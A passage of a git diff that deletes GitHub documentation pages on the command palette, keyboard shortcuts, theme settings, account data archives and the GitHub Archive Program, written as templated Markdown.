Behavior| -| :- | :- | -|`Import repository`|Create a new repository by importing a project from another version control system. For more information, see [AUTOTITLE](/migrations/importing-source-code/using-github-importer/importing-a-repository-with-github-importer). | -|`New gist`|Open a new gist. For more information, see [AUTOTITLE](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists). | -|`New organization`|Create a new organization. For more information, see [AUTOTITLE](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch). | -|`New project`|Create a new project. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project). | -|`New repository`|Create a new repository from scratch. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). | -|`Switch theme to `|Change directly to a different theme for the UI. For more information, see [AUTOTITLE](/get-started/accessibility/managing-your-theme-settings). | - -### Organization commands - -These commands are available only within the scope of an organization. - -| Command | Behavior| -| :- | :- | -| `New team`| Create a new team in the current organization. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/creating-a-team). - -### Repository commands - -Most of these commands are available only on the home page of the repository. If a command is also available on other pages, this is noted in the behavior column. - -| Command | Behavior| -| :- | :- | -|`Clone repository: `|Copy the URL needed to clone the repository using {% data variables.product.prodname_cli %}, HTTPS, or SSH to the clipboard. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository).| -|`New discussion`|Create a new discussion in the repository. For more information, see [AUTOTITLE](/discussions/quickstart#creating-a-new-discussion).| -|`New file`|Create a new file from any page in the repository. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository). -|`New issue`|Open a new issue from any page in the repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/creating-an-issue).| -|`Open in {% data variables.codespaces.serverless %} editor`|Open the current repository in the {% data variables.codespaces.serverless %} editor. For more information, see [AUTOTITLE](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor).| - -### File commands - -These commands are available only when you open the command palette from a file in a repository. - -| Command | Behavior| -| :- | :- | -|`Copy permalink`|Create a link to the file that includes the current commit SHA and copy the link to the clipboard. For more information, see [AUTOTITLE](/repositories/working-with-files/using-files/getting-permanent-links-to-files#press-y-to-permalink-to-a-file-in-a-specific-commit). -|`Open in {% data variables.codespaces.serverless %} editor`|Open the currently displayed file in {% data variables.codespaces.serverless %} editor. For more information, see [AUTOTITLE](/codespaces/the-githubdev-web-based-editor#opening-the-web-based-editor).| - -### Discussion commands - -These commands are available only when you open the command palette from a discussion. They act on your current page and are not affected by the scope set in the command palette. - -| Command | Behavior| -| :- | :- | -|`Delete discussion...`|Permanently delete the discussion. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion). -|`Edit discussion body`|Open the main body of the discussion ready for editing. -|`Subscribe`/`unsubscribe`|Opt in or out of notifications for additions to the discussion. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). -|`Transfer discussion...`|Move the discussion to a different repository. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/managing-discussions#transferring-a-discussion). - -### Issue commands - -These commands are available only when you open the command palette from an issue. They act on your current page and are not affected by the scope set in the command palette. - -| Command | Behavior| -| :- | :- | -|`Close`/`reopen issue`|Close or reopen the current issue. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues).| -|`Convert issue to discussion...`|Convert the current issue into a discussion. For more information, see [AUTOTITLE](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion). -|`Delete issue...`|Delete the current issue. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/deleting-an-issue).| -|`Edit issue body`|Open the main body of the issue ready for editing. -|`Edit issue title`|Open the title of the issue ready for editing. -|`Lock issue`|Limit new comments to users with write access to the repository. For more information, see [AUTOTITLE](/communities/moderating-comments-and-conversations/locking-conversations). -|`Pin`/`unpin issue`|Change whether or not the issue is shown in the pinned issues section for the repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/pinning-an-issue-to-your-repository).| -|`Subscribe`/`unsubscribe`|Opt in or out of notifications for changes to this issue. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). -|`Transfer issue...`|Transfer the issue to another repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository).| - -### Pull request commands - -These commands are available only when you open the command palette from a pull request. They act on your current page and are not affected by the scope set in the command palette. - -| Command | Behavior| -| :- | :- | -|`Close`/`reopen pull request`|Close or reopen the current pull request. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests).| -|`Convert to draft`/`Mark pull request as ready for review`|Change the state of the pull request to show it as ready, or not ready, for review. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request).| -|`Copy current branch name`| Add the name of the head branch for the pull request to the clipboard. -|`Edit pull request body`|Open the main body of the pull request ready for editing. -|`Edit pull request title`|Open the title of the pull request ready for editing. -|`Subscribe`/`unsubscribe`|Opt in or out of notifications for changes to this pull request. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). -|`Update current branch`|Update the head branch of the pull request with changes from the base branch. This is available only for pull requests that target the default branch of the repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches).| diff --git a/content/get-started/accessibility/index.md b/content/get-started/accessibility/index.md deleted file mode 100644 index 91d7eac54460..000000000000 --- a/content/get-started/accessibility/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Accessibility -intro: Learn about accessibility features and settings on GitHub. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /managing-your-theme-settings - - /keyboard-shortcuts - - /github-command-palette ---- diff --git a/content/get-started/accessibility/keyboard-shortcuts.md b/content/get-started/accessibility/keyboard-shortcuts.md deleted file mode 100644 index b509a15c0431..000000000000 --- a/content/get-started/accessibility/keyboard-shortcuts.md +++ /dev/null @@ -1,294 +0,0 @@ ---- -title: Keyboard shortcuts -intro: 'Nearly every page on {% data variables.product.prodname_dotcom %} has a keyboard shortcut to perform actions faster.' -redirect_from: - - /articles/using-keyboard-shortcuts - - /categories/75/articles - - /categories/keyboard-shortcuts - - /articles/keyboard-shortcuts - - /github/getting-started-with-github/keyboard-shortcuts - - /github/getting-started-with-github/using-github/keyboard-shortcuts - - /get-started/using-github/keyboard-shortcuts -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -## About keyboard shortcuts - -Typing ? on {% data variables.product.prodname_dotcom %} brings up a dialog box that lists the keyboard shortcuts available for that page. You can use these keyboard shortcuts to perform actions across the site without using your mouse to navigate. - -You can disable character key shortcuts, while still allowing shortcuts that use modifier keys, in your accessibility settings. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-accessibility-settings). - -{% ifversion command-palette %} -The {% data variables.product.prodname_command_palette %} also gives you quick access to a wide range of actions, without the need to remember keyboard shortcuts. For more information, see [AUTOTITLE](/get-started/accessibility/github-command-palette). - -{% endif %} - -The following sections list some of the available keyboard shortcuts, organized by the pages where you can use them on {% data variables.product.prodname_dotcom %}. - -## Site wide shortcuts - -| Keyboard shortcut | Description | -|-----------|------------| -|S or / | Focus the search bar. For more information, see [AUTOTITLE](/search-github/getting-started-with-searching-on-github/about-searching-on-github). -|G N | Go to your notifications. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications). -|Option+↑ (Mac) or
Alt+↑ (Windows/Linux) | Move focus from an element to its hovercard | -|Esc | When focused on a user, issue, or pull request hovercard, closes the hovercard and refocuses on the element the hovercard is in - -## Repositories - -| Keyboard shortcut | Description | -|-----------|------------ | -|G C | Go to the **Code** tab -|G I | Go to the **Issues** tab. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues). -|G P | Go to the **Pull requests** tab. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). -|G A | Go to the **Actions** tab. For more information, see [AUTOTITLE](/actions/learn-github-actions). -| {% ifversion projects-v1 %} | -|G B | Go to the **Projects** tab. For more information, see [AUTOTITLE](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). -| {% endif %} | -|G W | Go to the **Wiki** tab. For more information, see [AUTOTITLE](/communities/documenting-your-project-with-wikis/about-wikis). | -|G G | Go to the **Discussions** tab. For more information, see [AUTOTITLE](/discussions/collaborating-with-your-community-using-discussions/about-discussions). - -## Source code editing - -| Keyboard shortcut | Description | -|-----------|------------| -| {% ifversion fpt or ghec %} | -|. | Opens a repository or pull request in the {% data variables.codespaces.serverless %} editor, in the same browser tab. You must be signed in to use the editor. For more information, see [AUTOTITLE](/codespaces/the-githubdev-web-based-editor). -|> | Opens a repository or pull request in the {% data variables.codespaces.serverless %} editor, in a new browser tab. You must be signed in to use the editor. For more information, see [AUTOTITLE](/codespaces/the-githubdev-web-based-editor). | -| {% endif %} | -|Command+B (Mac) or
Ctrl+B (Windows/Linux) | Inserts Markdown formatting for bolding text | -|Command+I (Mac) or
Ctrl+I (Windows/Linux) | Inserts Markdown formatting for italicizing text | -|Command+K (Mac) or
Ctrl+K (Windows/Linux) | Inserts Markdown formatting for creating a link | -|Command+Shift+7 (Mac) or
Ctrl+Shift+7 (Windows/Linux) | Inserts Markdown formatting for an ordered list | -|Command+Shift+8 (Mac) or
Ctrl+Shift+8 (Windows/Linux) | Inserts Markdown formatting for an unordered list | -|Command+Shift+. (Mac) or
Ctrl+Shift+. (Windows/Linux) | Inserts Markdown formatting for a quote | -|E | Open source code file in the **Edit file** tab | -|Command+F (Mac) or
Ctrl+F (Windows/Linux) | Start searching in file editor | -|Command+G (Mac) or
Ctrl+G (Windows/Linux) | Find next | -|Command+Shift+G (Mac) or
Ctrl+Shift+G (Windows/Linux) | Find previous | -|Command+Option+F (Mac) or
Ctrl+Shift+F (Windows/Linux) | Replace | -|Command+Shift+Option+F (Mac) or
Ctrl+Shift+R (Windows/Linux) | Replace all | -|Alt+G | Jump to line | -|Command+Z (Mac) or
Ctrl+Z (Windows/Linux) | Undo | -|Command+Y (Mac) or
Ctrl+Y (Windows/Linux) | Redo | -|Command+Shift+P | Toggles between the **Edit file** and **Preview changes** tabs | -|Command+S (Mac) or
Ctrl+S (Windows/Linux) | Write a commit message | - -For more keyboard shortcuts, see the [CodeMirror documentation](https://codemirror.net/doc/manual.html#commands). - -## Source code browsing - -| Keyboard shortcut | Description | -|-----------|------------| -|t | Activates the file finder | -|l | Jump to a line in your code | -|w | Switch to a new branch or tag | -|y | Expand a URL to its canonical form. For more information, see [AUTOTITLE](/repositories/working-with-files/using-files/getting-permanent-links-to-files). | -|i | Show or hide comments on diffs. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request). | -|a | Show or hide annotations on diffs | -|b | Open blame view. For more information, see [AUTOTITLE](/repositories/working-with-files/using-files/viewing-a-file). | - -{% ifversion code-view-ui %} - -## Navigating within code files - -If you view a code file in a repository using the **Code** view and click on any line in the file, you will see a cursor. You can then navigate within the content of the file, also known as a blob (binary large object), using keyboard shortcuts. - -| Keyboard shortcut | Description | -|-----------|------------| -|Shift+J| Highlights the line that is currently selected by the cursor within the code file -|Shift+Option+C (Mac) or
Shift+Alt+C (Windows/Linux) | If a line of code is currently selected, this shortcut opens the line menu for that line, appearing under {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} to the left of the line -| {% ifversion code-search-upgrade %} | -|Command+Enter (Mac) or
Control+Enter (Windows/Linux) | Highlights the code symbol currently selected by the cursor and all other occurrences of the symbol in the code, and shows the symbol in the symbols pane -| {% endif %} | - -{% endif %} - -## Comments - -| Keyboard shortcut | Description | -|-----------|------------| -|Command+B (Mac) or
Ctrl+B (Windows/Linux) | Inserts Markdown formatting for bolding text | -|Command+I (Mac) or
Ctrl+I (Windows/Linux) | Inserts Markdown formatting for italicizing text | -|Command+E (Mac) or
Ctrl+E (Windows/Linux) | Inserts Markdown formatting for code or a command within a line | -|Command+K (Mac) or
Ctrl+K (Windows/Linux) | Inserts Markdown formatting for creating a link | -|Command+V (Mac) or
Ctrl+V (Windows/Linux) | Creates a Markdown link when applied over highlighted text | -|Command+Shift+P (Mac) or
Ctrl+Shift+P (Windows/Linux) | Toggles between the **Write** and **Preview** comment tabs | -|Command+Shift+V (Mac) or
Ctrl+Shift+V (Windows/Linux) | Pastes HTML link as plain text | -|Command+Shift+Option+V (Mac) or
Ctrl+Shift+Alt+V (Windows/Linux) | Pastes HTML link as plain text | -|Command+Shift+7 (Mac) or
Ctrl+Shift+7 (Windows/Linux) | Inserts Markdown formatting for an ordered list | -|Command+Shift+8 (Mac) or
Ctrl+Shift+8 (Windows/Linux) | Inserts Markdown formatting for an unordered list | -|Command+Enter (Mac) or
Ctrl+Enter (Windows/Linux) | Submits a comment | -|Ctrl+. and then Ctrl+[saved reply number] | Opens saved replies menu and then autofills comment field with a saved reply. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-saved-replies/about-saved-replies). | -|Command+Shift+. (Mac) or
Ctrl+Shift+. (Windows/Linux) | Inserts Markdown formatting for a quote | -| {% ifversion fpt or ghec %} | -|Command+G (Mac) or
Ctrl+G (Windows/Linux) | Insert a suggestion. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request). | -| {% endif %} | -|R | Quote the selected text in your reply. For more information, see [AUTOTITLE](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#quoting-text). | - -## Issue and pull request lists - -| Keyboard shortcut | Description | -|-----------|------------ | -|C | Create an issue -|Command+/ (Mac) or
Ctrl+/ (Windows/Linux) | Focus your cursor on the issues or pull requests search bar. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests).| -|U | Filter by author | -|L | Filter by or edit labels. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests). | -|Alt and click | While filtering by labels, exclude labels. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests). | -|M | Filter by or edit milestones. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone). | -|A | Filter by or edit assignee. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests). | -|O or Enter | Open issue | - -## Issues and pull requests - -| Keyboard shortcut | Description | -|-----------|------------ | -|Q | Request a reviewer. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review). | -|M | Set a milestone. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests). | -|L | Apply a label. For more information, see [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels#applying-a-label). | -|A | Set an assignee. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users). | -|X | Link an issue or pull request from the same repository. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue). | -|Command+Shift+P (Mac) or
Ctrl+Shift+P (Windows/Linux) | Toggles between the **Write** and **Preview** tabs | -| {% ifversion fpt or ghec %} | -|Alt and click | When creating an issue from a task list, open the new issue form in the current tab by holding Alt and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). | -|Shift and click | When creating an issue from a task list, open the new issue form in a new tab by holding Shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). | -|Command and click (Mac) or
Ctrl+Shift and click (Windows/Linux) | When creating an issue from a task list, open the new issue form in the new window by holding Command or Ctrl+Shift and clicking the {% octicon "issue-opened" aria-label="The issue opened icon" %} in the upper-right corner of the task. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/about-task-lists). | -| {% endif %} | -| {% ifversion sub-issues %} | -|Option+Shift+c (Mac) or
Alt+Shift+c (Windows/Linux) | Create a new sub-issue. See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues). | -|Option, Shift+a (Mac) or
Alt+Shift+a (Windows/Linux) | Add an existing issue as sub-issue. See [AUTOTITLE](/issues/tracking-your-work-with-issues/using-issues/adding-sub-issues). | -|Option+Shift+p (Mac) or
Alt+Shift+p (Windows/Linux) | Edit parent issue. | -| {% endif %} | - -## "Files changed" tab in pull requests - -| Keyboard shortcut | Description | -|-----------|------------ | -|C | Open the **Commits** dropdown menu to filter which commits are shown in the diffs | -|T | Move your cursor to the "Filter changed files" field | -|Command+Shift+Enter (Mac) or Ctrl+Shift+Enter (Windows/Linux) | Submit a review comment | -|Option and click (Mac) or Alt and click (Windows/Linux) | Toggle between collapsing and expanding all outdated or resolved review comments in a pull request (for example, by holding down Alt and clicking **Show outdated** or **Hide outdated**) | -|Click, then Shift and click | Comment on multiple lines of a pull request by clicking a line number, holding Shift, then clicking another line number. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request#adding-line-comments-to-a-pull-request).| - -## {% data variables.projects.projects_v2_caps %} - -### Navigating a project - -| Keyboard shortcut | Description | -|-----------|------------ | -|Command+f (Mac) or Ctrl+f (Windows/Linux) | Focus filter field | -|← | Move focus to the left | -|→ | Move focus to the right | -|↑ | Move focus up | -|↓ | Move focus down | - -### Manipulating a project - -| Keyboard shortcut | Description | -|-----------|------------ | -|Enter | Toggle edit mode for the focused cell | -|Escape | Cancel editing for the focused cell | -|Command+Shift+\ (Mac) or Ctrl+Shift+\ (Windows/Linux) | Open row actions menu | -|Shift+Space | Select item | -|Shift+↓ | Add cell or card below to selection | -|Shift+↑ | Add cell or card above to selection | -|Space | Open selected item | -|e | Archive selected items | - -### Moving cards on the board layout - -| Keyboard shortcut | Description | -|-----------|------------ | -|Enter or Shift+Space | Start moving the selected card(s) | -|Esc | Cancel the move in progress | -|Enter | Complete the move in progress | -|↓ | Move a single card down | -|Command+↓ or
Ctrl+↓ (Windows/Linux) | Move a single card to the bottom of the column | -|↑ | Move a single card up | -|Command+↑ (Mac) or
Ctrl+↑ (Windows/Linux) | Move a single card to the top of the column | -|← | Move card(s) left | -|Command+← (Mac) or
Ctrl+← (Windows/Linux) | Move card(s) to the leftmost column | -|→ | Move card(s) right | -|Command+→ (Mac) or
Ctrl+→ (Windows/Linux) | Move card(s) to the rightmost column | - -{% ifversion projects-v1 %} - -## {% data variables.product.prodname_projects_v1_caps %} - -### Moving a column - -| Keyboard shortcut | Description | -|-----------|------------ | -|Enter or Space | Start moving the focused column | -|Esc | Cancel the move in progress | -|Enter | Complete the move in progress | -|← or H | Move column to the left | -|Command+← or Command+H (Mac) or
Ctrl+← or Ctrl+H (Windows/Linux) | Move column to the leftmost position | -|→ or L | Move column to the right | -|Command+→ or Command+L (Mac) or
Ctrl+→ or Ctrl+L (Windows/Linux) | Move column to the rightmost position | - -### Moving a card - -| Keyboard shortcut | Description | -|-----------|------------ | -|Enter or Space | Start moving the focused card | -|Esc | Cancel the move in progress | -|Enter | Complete the move in progress | -|↓ or J | Move card down | -|Command+↓ or Command+J (Mac) or
Ctrl+↓ or Ctrl+J (Windows/Linux) | Move card to the bottom of the column | -|↑ or K | Move card up | -|Command+↑ or Command+K (Mac) or
Ctrl+↑ or Ctrl+K (Windows/Linux) | Move card to the top of the column | -|← or H | Move card to the bottom of the column on the left | -|Shift+← or Shift+H | Move card to the top of the column on the left | -|Command+← or Command+H (Mac) or
Ctrl+← or Ctrl+H (Windows/Linux) | Move card to the bottom of the leftmost column | -|Command+Shift+← or Command+Shift+H (Mac) or
Ctrl+Shift+← or Ctrl+Shift+H (Windows/Linux) | Move card to the top of the leftmost column -|→ | Move card to the bottom of the column on the right | -|Shift+→ or Shift+L | Move card to the top of the column on the right | -|Command+→ or Command+L (Mac) or
Ctrl+→ or Ctrl+L (Windows/Linux) | Move card to the bottom of the rightmost column | -|Command+Shift+→ or Command+Shift+L (Mac) or
Ctrl+Shift+→ or Ctrl+Shift+L (Windows/Linux) | Move card to the bottom of the rightmost column | - -### Previewing a card - -| Keyboard shortcut | Description | -|-----------|------------ | -|Esc | Close the card preview pane | - -{% endif %} - -{% ifversion fpt or ghec %} - -## {% data variables.product.prodname_actions %} - -| Keyboard shortcut | Description | -|-----------|------------ | -|Command+Space (Mac) or
Ctrl+Space (Windows/Linux) | In the workflow editor, get suggestions for your workflow file. | -|G F | Go to the workflow file | -|Shift+T or T | Toggle timestamps in logs | -|Shift+F or F | Toggle full-screen logs | -|Esc | Exit full-screen logs | - -{% endif %} - -## Notifications - -| Keyboard shortcut | Description | -|-----------|------------ | -|E | Mark as done | -|Shift+U| Mark as unread | -|Shift+I| Mark as read | -|Shift+M | Unsubscribe | - -## Network graph - -| Keyboard shortcut | Description | -|-----------|------------ | -|← or H | Scroll left | -|→ or L | Scroll right | -|↑ or K | Scroll up | -|↓ or J | Scroll down | -|Shift+← (Mac) or
Shift+H (Windows/Linux) | Scroll all the way left | -|Shift+→ (Mac) or
Shift+L (Windows/Linux) | Scroll all the way right | -|Shift+↑ (Mac) or
Shift+K (Windows/Linux) | Scroll all the way up | -|Shift+↓ (Mac) or
Shift+J (Windows/Linux) | Scroll all the way down | diff --git a/content/get-started/accessibility/managing-your-theme-settings.md b/content/get-started/accessibility/managing-your-theme-settings.md deleted file mode 100644 index ace15245fc9a..000000000000 --- a/content/get-started/accessibility/managing-your-theme-settings.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Managing your theme settings -intro: 'You can manage how {% data variables.product.github %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -redirect_from: - - /github/setting-up-and-managing-your-github-user-account/managing-your-theme-settings - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-theme-settings -shortTitle: Manage theme settings ---- - -For choice and flexibility in how and when you use {% data variables.product.github %}, you can configure theme settings to change how {% data variables.product.github %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.github %} to follow your system settings. - -You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks. - -If you have low vision, you may benefit from a high contrast theme, with greater contrast between foreground and background elements.{% ifversion fpt or ghec %} If you have colorblindness, you may benefit from our light and dark colorblind themes. - -{% endif %} - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.appearance-settings %} - -1. Under "Theme mode", select the dropdown menu, then click a theme preference. - - ![Screenshot of the "Theme mode" sub-section. A dropdown menu, labeled "Single theme," is highlighted with an orange outline.](/assets/images/help/settings/theme-mode-drop-down-menu.png) - -1. Click the theme you'd like to use. - * If you chose a single theme, click a theme. - - * If you chose to follow your system settings, click a day theme and a night theme.{% ifversion fpt or ghec %} - * If you would like to choose a theme which is currently in {% data variables.release-phases.public_preview %}, you will first need to enable it with feature preview. For more information, see [AUTOTITLE](/get-started/using-github/exploring-early-access-releases-with-feature-preview).{% endif %} - -{% ifversion command-palette %} - -> [!NOTE] -> You can also change your theme settings with the command palette. For more information, see [AUTOTITLE](/get-started/accessibility/github-command-palette). - -{% endif %} - -## Further reading - -* [AUTOTITLE](/desktop/configuring-and-customizing-github-desktop/setting-a-theme-for-github-desktop) diff --git a/content/get-started/archiving-your-github-personal-account-and-public-repositories/index.md b/content/get-started/archiving-your-github-personal-account-and-public-repositories/index.md deleted file mode 100644 index 920f6901a91f..000000000000 --- a/content/get-started/archiving-your-github-personal-account-and-public-repositories/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Archiving your GitHub personal account and public repositories -redirect_from: - - /categories/understanding-how-github-uses-and-protects-your-data - - /github/understanding-how-github-uses-and-protects-your-data - - /get-started/privacy-on-github -versions: - fpt: '*' - ghec: '*' -children: - - /requesting-an-archive-of-your-personal-accounts-data - - /opting-into-or-out-of-the-github-archive-program-for-your-public-repository -shortTitle: Archive account and public repos ---- - diff --git a/content/get-started/archiving-your-github-personal-account-and-public-repositories/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md b/content/get-started/archiving-your-github-personal-account-and-public-repositories/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md deleted file mode 100644 index b363e98bab6b..000000000000 --- a/content/get-started/archiving-your-github-personal-account-and-public-repositories/opting-into-or-out-of-the-github-archive-program-for-your-public-repository.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Opting into or out of the GitHub Archive Program for your public repository -intro: 'You can manage whether {% data variables.product.prodname_dotcom %} includes your public repository in the {% data variables.product.prodname_archive %} to help ensure the long-term preservation of the world''s open source software.' -permissions: 'People with admin permissions to a public repository can opt into or out of the {% data variables.product.prodname_archive %}.' -redirect_from: - - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-the-github-archive-program-for-your-public-repository - - /get-started/privacy-on-github/opting-into-or-out-of-the-github-archive-program-for-your-public-repository -versions: - fpt: '*' - ghec: '*' -topics: - - Policy - - Legal -shortTitle: GitHub Archive program ---- - -{% data reusables.repositories.about-github-archive-program %} For more information, see [AUTOTITLE](/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github#about-the-github-archive-program). - -If you opt out of the {% data variables.product.prodname_archive %} for a repository, the repository will be excluded from any long-term archives that {% data variables.product.prodname_dotcom %} may create in the future. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Features", select or deselect **Preserve this repository**. - -## Further reading - -* [{% data variables.product.prodname_archive %} FAQ](https://archiveprogram.github.com/faq/) diff --git a/content/get-started/archiving-your-github-personal-account-and-public-repositories/requesting-an-archive-of-your-personal-accounts-data.md b/content/get-started/archiving-your-github-personal-account-and-public-repositories/requesting-an-archive-of-your-personal-accounts-data.md deleted file mode 100644 index 068b1cdb6078..000000000000 --- a/content/get-started/archiving-your-github-personal-account-and-public-repositories/requesting-an-archive-of-your-personal-accounts-data.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Requesting an archive of your personal account’s data -redirect_from: - - /articles/requesting-an-archive-of-your-personal-account-s-data - - /articles/requesting-an-archive-of-your-personal-accounts-data - - /github/understanding-how-github-uses-and-protects-your-data/requesting-an-archive-of-your-personal-accounts-data - - /get-started/privacy-on-github/requesting-an-archive-of-your-personal-accounts-data -intro: '{% data reusables.user-settings.export-data %}' -versions: - fpt: '*' - ghec: '*' -topics: - - Policy - - Legal -shortTitle: Request account archive ---- - -{% data variables.product.github %} stores repository and profile metadata from your personal account's activity. You can export your personal account's data through your account settings on {% data variables.product.prodname_dotcom %} or with the User Migration API. - -For more information about the data {% data variables.product.github %} stores that is available for exporting, see [AUTOTITLE](/rest/migrations#download-a-user-migration-archive). - -When you request an export of your personal data through your account settings on {% data variables.product.github %}, {% data variables.product.github %} packages your personal data in a `tar.gz` file and sends you an email to your primary email address with a download link. - -By default, the download link expires after seven days. At any time before the download link expires, you can disable the link from your user settings. For more information, see [AUTOTITLE](/get-started/archiving-your-github-personal-account-and-public-repositories/requesting-an-archive-of-your-personal-accounts-data#deleting-access-to-an-archive-of-your-personal-accounts-data). - -If your operating system cannot natively unpack the `tar.gz` file, you can use a third-party tool to extract the archived files. For more information, see [How to unzip a tar.gz file](https://opensource.com/article/17/7/how-unzip-targz-file) on Opensource.com. - -The generated `tar.gz` file reflects the data stored at the time you started the data export. - -## Downloading an archive of your personal account's data - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -1. Under "Export account data", click **Start export** or **New export**. -1. Once the export is ready to download, {% data variables.product.github %} will send you a download link to your primary email address. -1. Click the download link in your email and re-enter your password if prompted. -1. You'll be redirected to a `tar.gz` file that you can download. - -## Deleting access to an archive of your personal account's data - -You can disable the download link sent to your email before an export expires by deleting the export. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -1. In the "Export account data" section, next to the data export download you want to disable, click **Delete**. diff --git a/content/get-started/exploring-integrations/about-building-integrations.md b/content/get-started/exploring-integrations/about-building-integrations.md deleted file mode 100644 index cf99c3fda73b..000000000000 --- a/content/get-started/exploring-integrations/about-building-integrations.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: About building integrations -intro: 'You can build integrations to extend {% data variables.product.company_short %}''s functionality.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -Integrations are tools that extend {% data variables.product.company_short %}'s functionality. Integrations can do things on {% data variables.product.company_short %} like open issues, comment on pull requests, and manage projects. They can also do things outside of {% data variables.product.company_short %} based on events that happen on {% data variables.product.company_short %}. For example, an integration can post on Slack when an issue is opened on {% data variables.product.company_short %}. - -Many integrations are {% data variables.product.prodname_github_apps %}, {% data 